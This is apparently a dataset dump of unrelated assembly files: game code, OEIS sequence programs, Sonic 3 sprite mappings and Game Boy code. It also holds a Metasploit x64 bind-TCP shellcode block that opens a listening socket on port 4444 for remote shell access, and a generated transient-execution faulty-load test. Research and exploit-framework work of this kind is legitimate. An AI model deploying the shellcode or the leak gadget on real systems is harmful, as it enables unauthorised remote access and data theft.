CODE/STRATEGY: default is to send self MSG_GAME_DECK_SELECTED with the deck = the hand and the selected card = the top card KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 12/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameHandSelected method GameClass, MSG_GAME_HAND_SELECTED mov cx, ds:[di].GI_hand.handle mov dx, ds:[di].GI_hand.offset clr bp mov ax, MSG_GAME_DECK_SELECTED call ObjCallInstanceNoLock ret GameHandSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CBLESetup %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set up a CardBackListEntry object CALLED BY: MSG_CBLE_SETUP PASS: ds:di = game instance *ds:si = CardBackListEntry object ds:di = CardBackListEntryInstance cx:dx = VM handle and offset of bitmap to show bp = VM File handle of deck RETURN: nothing DESTROYED: ax, bx, cx, dx, si, di, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 11/ 1/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if 0 CBLESetup method CardBackListEntryClass, MSG_CBLE_SETUP .enter ; ; Record the handle and offset of our color-with-bitmap thingummy ; mov ds:[di].CBLE_bitmap.handle, cx mov ds:[di].CBLE_bitmap.offset, dx mov ds:[di].CBLE_file, bp push cx mov cx, size VisMoniker + size OpEndString mov ax, mask OCF_IGNORE_DIRTY call LMemAlloc mov di, ax mov di, ds:[di] ; ; Initialize the visual moniker we're going to give ourselves. The ; thing is an empty string with the height and width of the bitmap ; we're displaying (so our entry is the right size on-screen). ; mov ds:[di].VM_type, VisMonikerType < 0, ; not a list 1, ; is a gstring VMAR_NORMAL, ; regular aspect DC_COLOR_4 ; color type (no one cares) > pop cx push ax xchg ax, cx mov bx, bp call VMLock mov es, ax mov bx, dx mov cx, es:[bx+2].B_width mov dx, es:[bx+2].B_height call VMUnlock mov ds:[di].VM_size.XYS_width, cx mov ds:[di].VM_size.XYS_height, dx mov ({OpEndString}ds:[di].VM_data).OES_opcode, GR_END_STRING ; ; Now set the chunk as our moniker. ; mov di, ds:[si] add di, ds:[di].Gen_offset pop ds:[di].GI_visMoniker call ObjMarkDirty .leave ret CBLESetup endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CBLEDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw a CardBackListEntry properly CALLED BY: MSG_VIS_DRAW PASS: *ds:si = CardBackListEntry object bp = gstate to use RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 11/ 1/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CBLEDraw method CardBackListEntryClass, MSG_VIS_DRAW .enter ; ; Let our superclass do its list-entry thing. ; push bp mov di, offset CardBackListEntryClass CallSuper MSG_VIS_DRAW pop di ; ; Now figure our actual width and height and save our origin. ; mov bx, ds:[si] add bx, ds:[bx].Vis_offset push ds:[bx].VI_bounds.R_left push ds:[bx].VI_bounds.R_top mov cx, ds:[bx].VI_bounds.R_right sub cx, ds:[bx].VI_bounds.R_left inc cx mov dx, ds:[bx].VI_bounds.R_bottom sub dx, ds:[bx].VI_bounds.R_top inc dx ; ; Lock down our bitmap. ; mov bx, ds:[si] add bx, ds:[bx].Gen_offset mov ax, ds:[bx].CBLE_bitmap.handle mov si, ds:[bx].CBLE_bitmap.offset mov bx, ds:[bx].CBLE_file call VMLock mov ds, ax ; ; Set the area color properly. ; lodsw call GrSetAreaColor ; ; Figure where to position the bitmap by taking the difference of our ; actual width/height and the bitmap's width/height, dividing it by ; two and adding it to our origin. ; sub cx, ds:[si].B_width sub dx, ds:[si].B_height shr cx shr dx pop ax add ax, dx xchg bx, ax pop ax add ax, cx ; ; Draw the bitmap itself. ; clr dx ; no callback... call GrDrawBitmap ; ; Unlock the bitmap. ; call VMUnlock ; ; Return gstate in bp, in case it's needed there... ; mov bp, di .leave ret CBLEDraw endp endif GameGetWhichBack method GameClass, MSG_GAME_GET_WHICH_BACK mov cx, ds:[di].GI_whichBack ret GameGetWhichBack endm GameSetWhichBack method GameClass, MSG_GAME_SET_WHICH_BACK mov ds:[di].GI_whichBack, cx call ObjMarkDirty ret GameSetWhichBack endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameTransferringCards %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_TRANSFERRING_CARDS handler for GameClass This is called by the donor deck when cards are dropped and transferred to another deck. Makes a good message to intercept for generating sound. CALLED BY: Donor deck object PASS: ds:di = game instance *ds:si = game object ^lcx:dx = deck to which cards will be transferred CHANGES: nothing RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameTransferringCards method GameClass, MSG_GAME_TRANSFERRING_CARDS ret GameTransferringCards endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameTransferFailed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_TRANSFER_FAILED handler for GameClass This is called by the source deck when cards are dropped and no deck accepts them, just prior to animating the failed transfer. Makes a good message to intercept for generating sound. CALLED BY: Source deck object PASS: ds:di = game instance *ds:si = game object ^lcx:dx = source deck CHANGES: nothing RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameTransferFailed method GameClass, MSG_GAME_TRANSFER_FAILED ret GameTransferFailed endm CardsCodeResource ends
23.089751
80
0.566308
8591174a6ed4adf5488f0d365dd3534df4a12e17
813
asm
Assembly
programs/oeis/191/A191402.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/191/A191402.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/191/A191402.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A191402: A000201(n)+A000201(n+1). ; 1,4,7,10,14,17,20,23,26,30,33,36,40,43,46,49,52,56,59,62,65,68,72,75,78,82,85,88,91,94,98,101,104,108,111,114,117,120,124,127,130,133,136,140,143,146,150,153,156,159,162,166,169,172,175,178,182,185,188,192,195,198,201,204,208,211,214,218,221,224 mov $2,$0 add $2,1 mov $5,$0 lpb $2,1 mov $0,$5 sub $2,1 sub $0,$2 mov $7,2 mov $9,$0 lpb $7,1 mov $0,$9 sub $7,1 add $0,$7 sub $0,2 cal $0,306683 ; Integers k for which the base-phi representation of k does not include 1 or phi. mov $10,$0 cmp $10,0 add $0,$10 mov $3,$0 sub $3,1 mul $3,10 mov $4,$3 mov $6,$7 lpb $6,1 sub $6,1 mov $8,$4 lpe lpe lpb $9,1 sub $8,$4 mov $9,0 lpe mov $4,$8 div $4,10 add $4,1 add $1,$4 lpe
19.829268
247
0.554736
045a575478b60450819f5bc7c80fdb4ee82ba325
994
asm
Assembly
oeis/109/A109194.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/109/A109194.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/109/A109194.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A109194: Number of returns to the x-axis (i.e., d or u steps hitting the x-axis) in all Grand Motzkin paths of length n. (A Grand Motzkin path of length n is a path in the half-plane x>=0, starting at (0,0), ending at (n,0) and consisting of steps u=(1,1), d=(1,-1) and h=(1,0).). ; Submitted by Simon Strandgaard ; 2,6,22,70,224,700,2174,6702,20572,62920,191932,584220,1775258,5386846,16326734,49435150,149557436,452133880,1366012832,4124825872,12449394278,37558361290,113266431860,341467468420,1029119688014,3100728586290,9340155873574,28128513051622,84693540280384,254960105285292,767395602354158,2309391043916974,6948836033589836,20905850128482760,62888185770783568,189155784065955072,568883061352489574,1710733508341886346,5143995512256731944,15466081047631184824,46496885031860408474,139776289042818055054 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,187306 ; Alternating sum of Motzkin numbers A001006. mul $1,3 add $1,$0 lpe mov $0,$1 mul $0,2
55.222222
497
0.78169
2e84ca9026a8c6915d034310ea0fd8484516d700
481
asm
Assembly
programs/oeis/202/A202196.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/202/A202196.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/202/A202196.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A202196: Number of (n+2) X 4 binary arrays avoiding patterns 001 and 101 in rows and columns. ; 240,640,1400,2688,4704,7680,11880,17600,25168,34944,47320,62720,81600,104448,131784,164160,202160,246400,297528,356224,423200,499200,585000,681408,789264,909440,1042840,1190400,1353088,1531904,1727880,1942080 mov $1,3 mov $2,$0 add $2,5 bin $2,3 mov $4,$0 mov $0,9 mul $4,2 add $4,5 mov $3,$4 add $3,1 mul $3,$2 mul $1,$3 add $0,$1 mov $1,$0 sub $1,189 div $1,6 mul $1,8 add $1,240
21.863636
210
0.713098
783b462ad03336fdc551c157c2fbddcfd27f644b
1,792
asm
Assembly
Working Disassembly/General/Sprites/Robotnik/Map - Dragonfly.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
5
2021-07-09T08:17:56.000Z
2022-02-27T19:57:47.000Z
Working Disassembly/General/Sprites/Robotnik/Map - Dragonfly.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
Working Disassembly/General/Sprites/Robotnik/Map - Dragonfly.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
; Dragonfly mappings dc.w word_8DFEE-Map_Dragonfly dc.w word_8E008-Map_Dragonfly dc.w word_8E022-Map_Dragonfly dc.w word_8E03C-Map_Dragonfly dc.w word_8E056-Map_Dragonfly dc.w word_8E070-Map_Dragonfly dc.w word_8E078-Map_Dragonfly dc.w word_8E080-Map_Dragonfly dc.w word_8E08E-Map_Dragonfly dc.w word_8E09C-Map_Dragonfly word_8DFEE: dc.w 4 ; DATA XREF: ROM:0008DFDAo dc.b $FA, 4, 0, 4, $FF, $F8 dc.b $FC, 0, 0, 6, $FF, $F0 dc.b $FC, 0, 0, 6, 0, 8 dc.b $F8, 5, 0, 0, $FF, $F8 word_8E008: dc.w 4 ; DATA XREF: ROM:0008DFDAo byte_8E00A: dc.b $FB, 4, 0, 4, $FF, $F8 dc.b $FC, 0, 0, 6, $FF, $F0 dc.b $FC, 0, 0, 6, 0, 8 dc.b $F8, 5, 0, 0, $FF, $F8 word_8E022: dc.w 4 ; DATA XREF: ROM:0008DFDAo dc.b $FC, 4, 0, 4, $FF, $F8 dc.b $FC, 0, 0, 6, $FF, $F0 dc.b $FC, 0, 0, 6, 0, 8 dc.b $F8, 5, 0, 0, $FF, $F8 word_8E03C: dc.w 4 ; DATA XREF: ROM:0008DFDAo dc.b $FD, 4, 0, 4, $FF, $F8 dc.b $FC, 0, 0, 6, $FF, $F0 dc.b $FC, 0, 0, 6, 0, 8 dc.b $F8, 5, 0, 0, $FF, $F8 word_8E056: dc.w 4 ; DATA XREF: ROM:0008DFDAo dc.b $FE, 4, 0, 4, $FF, $F8 dc.b $FC, 0, 0, 6, $FF, $F0 dc.b $FC, 0, 0, 6, 0, 8 dc.b $F8, 5, 0, 0, $FF, $F8 word_8E070: dc.w 1 ; DATA XREF: ROM:0008DFDAo dc.b $FC, 4, 0, 7, $FF, $F8 word_8E078: dc.w 1 ; DATA XREF: ROM:0008DFDAo dc.b $FC, 0, 0, 9, $FF, $FC word_8E080: dc.w 2 ; DATA XREF: ROM:0008DFDAo dc.b $F8, 8, 0, $A, $FF, $D8 dc.b $F8, 8, 8, $A, 0, $10 word_8E08E: dc.w 2 ; DATA XREF: ROM:0008DFDAo dc.b 0, 8, $10, $A, $FF, $D8 dc.b 0, 8, $18, $A, 0, $10 word_8E09C: dc.w 0 ; DATA XREF: ROM:0008DFDAo
37.333333
48
0.517299
4ef7a12b82098ccedd22a1582ee5c7806c865943
558
asm
Assembly
programs/oeis/133/A133477.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/133/A133477.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/133/A133477.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A133477: Sum of cubefree divisors of n excluding 1. ; 0,2,3,6,5,11,7,6,12,17,11,27,13,23,23,6,17,38,19,41,31,35,23,27,30,41,12,55,29,71,31,6,47,53,47,90,37,59,55,41,41,95,43,83,77,71,47,27,56,92,71,97,53,38,71,55,79,89,59,167,61,95,103,6,83,143,67,125,95,143,71,90,73,113,123,139,95,167,79,41,12,125,83,223,107,131,119,83,89,233,111,167,127,143,119,27,97,170,155,216 lpb $0 mov $2,$0 seq $2,62378 ; n divided by largest cubefree factor of n. div $0,$2 lpe seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). sub $0,1
50.727273
314
0.670251
5f130d4a6de0e559d20feecdce3cb433445fb729
3,679
asm
Assembly
external/source/shellcode/windows/x64/src/block/block_bind_tcp.asm
madhavarao-yejarla/VoIP
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
35
2015-08-08T07:23:38.000Z
2021-04-07T18:00:44.000Z
external/source/shellcode/windows/x64/src/block/block_bind_tcp.asm
madhavarao-yejarla/VoIP
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
1
2019-02-12T12:13:53.000Z
2019-02-12T12:13:53.000Z
external/source/shellcode/windows/x64/src/block/block_bind_tcp.asm
fozavci/metasploit-framework-with-viproy
3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e
[ "Apache-2.0", "BSD-3-Clause" ]
23
2015-08-11T05:07:47.000Z
2020-11-06T03:55:10.000Z
;-----------------------------------------------------------------------------; ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Compatible: Windows 7, 2003 ; Architecture: x64 ;-----------------------------------------------------------------------------; [BITS 64] ; Input: RBP must be the address of 'api_call'. ; Output: RDI will be the newly connected clients socket ; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15 bind_tcp: ; setup the structures we need on the stack... mov r14, 'ws2_32' push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment) mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. mov r12, 0x000000005C110002 push r12 ; bind to 0.0.0.0 family AF_INET and port 4444 mov r12, rsp ; save pointer to sockaddr_in struct for bind call ; perform the call to LoadLibraryA... mov rcx, r14 ; set the param for the library to load mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call rbp ; LoadLibraryA( "ws2_32" ) ; perform the call to WSAStartup... mov rdx, r13 ; second param is a pointer to this stuct push 0x0101 ; pop rcx ; set the param for the version requested mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) call rbp ; WSAStartup( 0x0101, &WSAData ); ; perform the call to WSASocketA... push rax ; if we succeed, rax wil be zero, push zero for the flags param. push rax ; push null for reserved parameter xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure xor r8, r8 ; we do not specify a protocol inc rax ; mov rdx, rax ; push SOCK_STREAM inc rax ; mov rcx, rax ; push AF_INET mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); mov rdi, rax ; save the socket for later ; perform the call to bind... push byte 16 ; pop r8 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused) mov rdx, r12 ; set the pointer to sockaddr_in struct mov rcx, rdi ; socket mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) call rbp ; bind( s, &sockaddr_in, 16 ); ; perform the call to listen... xor rdx, rdx ; backlog mov rcx, rdi ; socket mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) call rbp ; listen( s, 0 ); ; perform the call to accept... xor r8, r8 ; we set length for the sockaddr struct to zero xor rdx, rdx ; we dont set the optional sockaddr param mov rcx, rdi ; listening socket mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) call rbp ; accept( s, 0, 0 ); ; perform the call to closesocket... mov rcx, rdi ; the listening socket to close mov rdi, rax ; swap the new connected socket over the listening socket mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) call rbp ; closesocket( s ); ; restore RSP so we dont have any alignment issues with the next block... add rsp, ( (408+8) + (8*4) + (32*7) ) ; cleanup the stack allocations
54.102941
117
0.563197
784795328ce0ef02c337031276c9dceb25682979
276
asm
Assembly
programs/oeis/062/A062779.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/062/A062779.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/062/A062779.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A062779: a(n) = 2*n*(2*n)!. ; 0,4,96,4320,322560,36288000,5748019200,1220496076800,334764638208000,115242726703104000,48658040163532800000,24728016011107368960000,14890761641597746544640000,10485577989291746525184000000 mul $0,2 mov $1,$0 lpb $1 mul $0,$1 sub $1,1 lpe
27.6
191
0.782609
34613db45562e4f0195e751ca20cd002ed7606cc
1,381
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_93_942.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_93_942.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_93_942.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %rcx push %rdi push %rsi lea addresses_normal_ht+0x12ed1, %rsi lea addresses_normal_ht+0x13611, %rdi nop cmp $27171, %r8 mov $34, %rcx rep movsl nop nop xor %r15, %r15 pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %rax push %rcx push %rdx // Faulty Load lea addresses_US+0x10191, %r11 xor %r15, %r15 movups (%r11), %xmm4 vpextrq $0, %xmm4, %rcx lea oracles, %rdx and $0xff, %rcx shlq $12, %rcx mov (%rdx,%rcx,1), %rcx pop %rdx pop %rcx pop %rax pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'00': 93} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
22.639344
278
0.661115
9b0a1e4f507ea597dd8c4a7282af4ceef5b0c8bf
12,756
asm
Assembly
c/03-bootstrap/06-flappy-bird/build/main.rgbds.asm.tidy.asm
willbr/gameboy-tests
a0d9f68f5a4898067b7993f690d8d4ca6de831c5
[ "MIT" ]
null
null
null
c/03-bootstrap/06-flappy-bird/build/main.rgbds.asm.tidy.asm
willbr/gameboy-tests
a0d9f68f5a4898067b7993f690d8d4ca6de831c5
[ "MIT" ]
null
null
null
c/03-bootstrap/06-flappy-bird/build/main.rgbds.asm.tidy.asm
willbr/gameboy-tests
a0d9f68f5a4898067b7993f690d8d4ca6de831c5
[ "MIT" ]
null
null
null
; Public variables in this module ; special function registers _p1_joypad = 0x0000 _interrupt_flag = 0x000f _interrupt_enable = 0x00ff _NR52 = 0x0026 _LCDC = 0x0040 _STAT = 0x0041 _SCY = 0x0042 _SCX = 0x0043 _LY = 0x0044 _LYC = 0x0045 _DMA = 0x0046 _BGP = 0x0047 _OBP0 = 0x0048 _OBP1 = 0x0049 ; ram data _tiles = 0x9000 _bgmap = 0x9800 _OAMRAM = 0xfe00 _HRAM = 0xff80 _oam = 0xfe00 _shadow_oam: _previous_joypad: _joypad: _joypad_dpad_state: _joypad_btn_state: _cursor: _player: _game_over: ; absolute external ram data ;src\/gameboy.h:140: volatile u8 previous_joypad = 0; ld hl, _previous_joypad ld [hl], $00 ;src\/gameboy.h:141: volatile u8 joypad = 0; ld hl, _joypad ld [hl], $00 ;src\/gameboy.h:142: volatile u8 joypad_dpad_state = 0; ld hl, _joypad_dpad_state ld [hl], $00 ;src\/gameboy.h:143: volatile u8 joypad_btn_state = 0; ld hl, _joypad_btn_state ld [hl], $00 ;src\main.c:24: struct Point cursor = { .x = 0, .y = 0}; ld hl, _cursor ld [hl], $00 ld hl, (_cursor + 0x0001) ld [hl], $00 ;src\main.c:28: u8 game_over = 0; ld hl, _game_over ld [hl], $00 ; Home ; code ;src\/gameboy.h:148: void dma_copy(void) ; Function dma_copy _dma_copy:: ;src\/gameboy.h:150: nop(); nop .l00101: ;src\/gameboy.h:162: } ret _char_map: _IEF_HILO: _IEF_SERIAL: _IEF_TIMER: _IEF_LCDC: _IEF_VBLANK: ;src\/gameboy.h:165: void poll_joypad(void) ; Function poll_joypad _poll_joypad:: ;src\/gameboy.h:197: ); rP1 = #0xFF00 ld a, #0x20 ld (rP1), a ld a, (rP1) ld a, (rP1) ld (_joypad_dpad_state), a ld a, (#0x10) ld (rP1), a ld a, (rP1) ld a, (rP1) ld a, (rP1) ld a, (rP1) ld a, (rP1) ld a, (rP1) ld (_joypad_btn_state), a ld a, (#0x30) ld (rP1), a ;src\/gameboy.h:199: joypad_btn_state = (~joypad_btn_state) & 0x0F; ld hl, _joypad_btn_state ld a, [hl] cpl and a, $0F ld [hl], a ;src\/gameboy.h:200: joypad_dpad_state = (~joypad_dpad_state) & 0x0F; ld hl, _joypad_dpad_state ld a, [hl] cpl and a, $0F ld [hl], a ;src\/gameboy.h:202: previous_joypad = joypad; push hl ld hl, _joypad ld a, [hl] ld hl, _previous_joypad ld [hl], a pop hl ;src\/gameboy.h:204: joypad = (joypad_dpad_state << 4) ^ joypad_btn_state; ld hl, _joypad_dpad_state ld a, [hl] swap a and a, $F0 ld hl, _joypad_btn_state xor a, [hl] ld hl, _joypad ld [hl], a .l00101: ;src\/gameboy.h:205: } ret ;src\/gameboy.h:212: void timer_isr(void) __critical __interrupt __naked ; Function timer_isr _timer_isr:: ;src\/gameboy.h:214: breakpoint(); ld b,b ;src\/gameboy.h:215: __asm__("reti"); reti .l00101: ;src\/gameboy.h:216: } ;src\/gameboy.h:218: void vblank_isr(void) __critical __interrupt __naked ; Function vblank_isr _vblank_isr:: ;src\/gameboy.h:220: poll_joypad(); call _poll_joypad ;src\/gameboy.h:222: __asm__("reti"); reti .l00101: ;src\/gameboy.h:223: } ;src\/gameboy.h:225: void lcd_isr(void) __critical __interrupt __naked ; Function lcd_isr _lcd_isr:: ;src\/gameboy.h:227: breakpoint(); ld b,b ;src\/gameboy.h:228: __asm__("reti"); reti .l00101: ;src\/gameboy.h:229: } ;src\/gameboy.h:231: void serial_isr(void) __critical __interrupt __naked ; Function serial_isr _serial_isr:: ;src\/gameboy.h:233: breakpoint(); ld b,b ;src\/gameboy.h:234: __asm__("reti"); reti .l00101: ;src\/gameboy.h:235: } ;src\/gameboy.h:237: void joypad_isr(void) __critical __interrupt __naked ; Function joypad_isr _joypad_isr:: ;src\/gameboy.h:239: breakpoint(); ld b,b ;src\/gameboy.h:240: __asm__("reti"); reti .l00101: ;src\/gameboy.h:241: } ;src\/friend.h:15: void main(void) { ; Function main _main:: ;src\/friend.h:16: system_init(); call _system_init ;src\/friend.h:18: init(); call _init ;src\/friend.h:20: while(1) { .l00102: ;src\/friend.h:21: update(); call _update ;src\/friend.h:23: halt(); halt nop ;src\/friend.h:24: draw(); call _draw jr .l00102 .l00104: ;src\/friend.h:26: } ret ;src\/friend.h:30: void system_init(void) { ; Function system_init _system_init:: ;src\/friend.h:32: disable_interrupts(); di ;src\/friend.h:34: while (LY < 144) {} /* wait until vblank */ .l00101: ldh a, (_LY+0) sub a, $90 jr C,.l00101 ;src\/friend.h:36: LCDC = LCDCF_OFF; ld a, $00 ldh (_LCDC+0),a ;src\/friend.h:45: BGP = 0b11100100; ld a, $E4 ldh (_BGP+0),a ;src\/friend.h:46: OBP0 = 0b11100100; ld a, $E4 ldh (_OBP0+0),a ;src\/friend.h:47: OBP1 = 0b11100100; ld a, $E4 ldh (_OBP1+0),a ;src\/friend.h:49: SCY = 0; ld a, $00 ldh (_SCY+0),a ;src\/friend.h:50: SCX = 0; ld a, $00 ldh (_SCX+0),a ;src\/friend.h:52: NR52 = 0; ld a, $00 ldh (_NR52+0),a .l00104: ;src\/friend.h:57: } ret ;src\/friend_draw.h:25: u8 tile_pget(u8 tile_number, u8 x, u8 y) ; Function tile_pget _tile_pget:: add sp, #-3 ;src\/friend_draw.h:27: u8 mask = (128 >> x); ld hl, [sp+6] ld a, [hl] push af ld c, $80 ld b, $00 pop af inc a jr .l00120 .l00119: sra b rr c .l00120: dec a jr NZ, .l00119 ld hl, [sp+0] ld [hl], c ;src\/friend_draw.h:29: u8 *row = tile_get_row(tile_number, y); ld hl, [sp+7] ld a, [hl] ld hl, [sp+2] ld [hl], a ld hl, [sp+5] ld a, [hl] ;src\/friend_draw.h:10: u8 offset = tile_number << 4; swap a and a, $F0 ld c, a ;src\/friend_draw.h:16: u8 *tile = get_tile(tile_number); ld a, _tiles & $FF add a, c ld c, a ld a, _tiles >> 8 adc a, $00 ld b, a ;src\/friend_draw.h:19: u8 offset = y << 2; ld hl, [sp+2] ld a, 